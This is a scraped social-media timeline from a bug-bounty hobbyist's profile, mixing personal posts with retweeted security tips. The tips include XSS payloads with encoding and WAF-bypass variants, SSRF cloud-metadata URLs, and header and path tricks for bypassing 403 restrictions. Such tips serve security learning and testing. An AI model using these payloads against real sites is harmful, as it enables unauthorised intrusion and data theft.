Sapienshack @sapienshack

Tweets

202
Followers

135
Following

429
Likes

172

Sapienshack @sapienshack

11 months ago

Check out out this certification I just earned from INE! sgq.io/CCAQCfk via @ine

1 0 1 36 0

Sapienshack @sapienshack

11 months ago

Check out my blog post wix.to/f72MQ6o #newblogpost

0 0 0 19 0

Sapienshack @sapienshack

a year ago

cat vs wild 😜 #beargrylls #indiancat #catlover #bagarbilla youtube.com/shorts/TA0drSg… via @YouTube

0 0 0 36 0

HackerRats - Uncle Rat ❤️ (XSS Rat) @theXSSrat

5 years ago

#HTML entities/encode: javascript:alert() javascript:alert`` #url encoding: javascript:alert%60%60 javascript:x='%27-alert(1)-%27'; javascript:%61%6c%65%72%74%28%29 #JS unicode javascript:a\u006Cert``" javascript:\u0061\u006C\u0065\u0072\u0074``

0 69 172 0 45

Sapienshack @sapienshack

a year ago

Sometimes, People don’t really say what they are really 🧐

0 0 0 34 0

KNOXSS @KN0X55

a year ago

Our Top 5 #XSS Vectors Main + Inline 1')"<Base Href=//X55.is? Regular JS Injection 1'-top['con\146irm'](1)-' Quoteless JSi /confirm?.(1)//\ #XSS #GameChanger

0 29 90 7K 66

Download Image

Laxita Purbia @PurbiaLaxita

a year ago

To bypass 403 restrictions 1. Use patterns like in the URL path /* /%2f/ /./ / /*/ 2. Adding Headers in request with value 127.0.0.1 X-Custom-IP-Authorization X-Forwarded-For X-Remote-IP Forwarded-For X-Client-IP 3. Switch from GET to POST (or other methods) #CyberSecurity

14 106 482 31K 379

Corben Leo @hacker_

2 years ago

You're using Burp Collaborator wrong. Don't use Burp's default collaborator instance when testing for out of band vulnerabilities. Many companies use egress filtering & block outbound traffic to the default collaborator domain oastify.com It's worth setting up a…

7 97 434 38K 442

Md Ismail Šojal 🕷️ @0x0SojalSec

2 years ago

Want to learn SSRF? credit : imabhisarpandey (1/5) Blogs: - book.hacktricks.xyz/pentesting-web… - cobalt.io/blog/a-pentest… - payatu.com/blog/arjuns/a-… - opensourceagenda.com/projects/allth… - neuralegion.com/blog/ssrf-serv… - trustwave.com/en-us/resource… - 0xn3va.gitbook.io/cheat-sheets/w… #infosec

2 74 210 11K 224

KNOXSS @KN0X55

2 years ago

If you think these apps are good for #XSS testing... ❌ DVWA ❌ Altoro Mutual ❌ TestPHP VulnWeb ❌ Firing Range Sorry to say but we are in 2024! 😆 They are so old that some of their tests are meant for Internet Explorer 6 to 9! knoxss.me/?page_id=766 Update your #XSS game.

0 4 13 2K 5

VAIDIK PANDYA @h4x0r_fr34k

2 years ago

Day 4/7 : SSRF Payload for Technologies: Oracle http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data http://192.0.0.192/latest/attributes/ Alibaba http://100.100.100.200/latest/meta-data/…

3 70 263 17K 210

Het Mehta @hetmehtaa

2 years ago

Subdomain Finder Websites | Find Subdomains without installing tools on your machine⚔️ - subdomainfinder.c99.nl - dnsdumpster.com - pentest-tools.com/information-ga… - nmmapper.com/sys/tools/subd… - securitytrails.com/domain/ - dnsspy.io - suip.biz…

3 88 242 16K 254

KNOXSS @KN0X55

2 years ago

Top 5 KNOXSS #XSS Vectors Main + Inline 1')"<Base Href=//X55.is? Regular JS Injection 1'-top['con\146irm'](1)-' Quoteless JSi /confirm(1)?.(1)//\ #GameChanger

1 62 207 11K 173

Corben Leo @hacker_

2 years ago

Directory-brute forcing? You should NEVER filter based on status code. Paths can exist and return a 404. I’ve seen this so many times: /noexist/ -> 404 Not Found. /api/ -> 404 Not Found, but different response body (JSON formatted) /api/endpoint -> 200 OK Filter by…

8 72 457 35K 292

Sapienshack @sapienshack

2 years ago

XSS Validation bypass when application block "Parenthesis" " ><img onerror=alert`23` src=a> #bugbountytips #bugbountyconference #XSS #Security #waf

0 0 2 156 2

XSS Payloads @XssPayloads

2 years ago

An XSS JSON payload to bypass WAF, by @0x0SojalSec ["');alert('XSS');//"]@xyz.xxx

2 66 173 20K 63

Nithin 🦹‍♂️ @thebinarybot

2 years ago

For those who are new to bug bounty or those who haven’t found SSRF yet, you can use these tools to get your first SSRF bug 🎯💰 PS: Don’t completely relay on tools, do manual testing too🧑‍💻

2 26 96 7K 85

Download Image

The SecOps Group @TheSecOpsGroup

2 years ago

An unbeatable 75% off for those ready to elevate their skills 🥳! ** Like, Comment, Re-share, and 1 lucky winner will get a 100% discount on our CMPen- Android exam!** 🔖Promo Code - CMPen-Android-75-OFF 🕵️‍♂️Tom's Static Analysis Adventure! Tom was knee-deep into an Android…

14 14 31 3K 11

Download Image

Ninad Mishra @NinadMishra5

2 years ago

Nuclei scanner's power comes from fuzzing templates. The following repository have different templates for the scanner which can be used for finding unknown security vulnerabilities github.com/projectdiscove… #bugbountytips #bugbounty #CyberSecurity